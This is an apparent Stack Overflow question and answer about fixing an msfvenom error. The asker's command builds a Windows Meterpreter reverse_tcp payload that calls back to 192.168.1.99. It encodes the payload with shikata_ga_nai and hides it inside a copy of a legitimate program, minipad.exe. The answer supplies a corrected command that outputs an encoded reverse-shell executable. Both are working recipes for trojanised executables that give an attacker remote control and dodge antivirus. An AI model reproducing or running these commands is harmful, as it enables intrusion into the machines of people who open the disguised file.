'ERROR: you must select an arch for a custom payload

 msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 -a x86 R |msfvenom -e -t exe -x minipad.exe -k -o minipad123.exe -e x86/shikata_ga_nai -c 8


Attempting to read payload from STDIN...

No platform was selected, choosing Msf::Module::Platform::Windows from the payload

No encoder or badchars specified, outputting raw payload

Payload size: 299 bytes

Error: You must select an arch for a custom payload

The Architecture has been specified, yet the error persists

Any help??



Solution 1:[1]

IN kali linux 2.0 sana it necessary to provide information based on following formate

msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --format=exe > windows.exe

it is nessaary to specify the encoding type in kali 2.0

now run the code
change window.exe with location you deserve

Sources

This article follows the attribution requirements of Stack Overflow and is licensed under CC BY-SA 3.0.

Source: Stack Overflow

Solution Source
Solution 1 Abby Fiz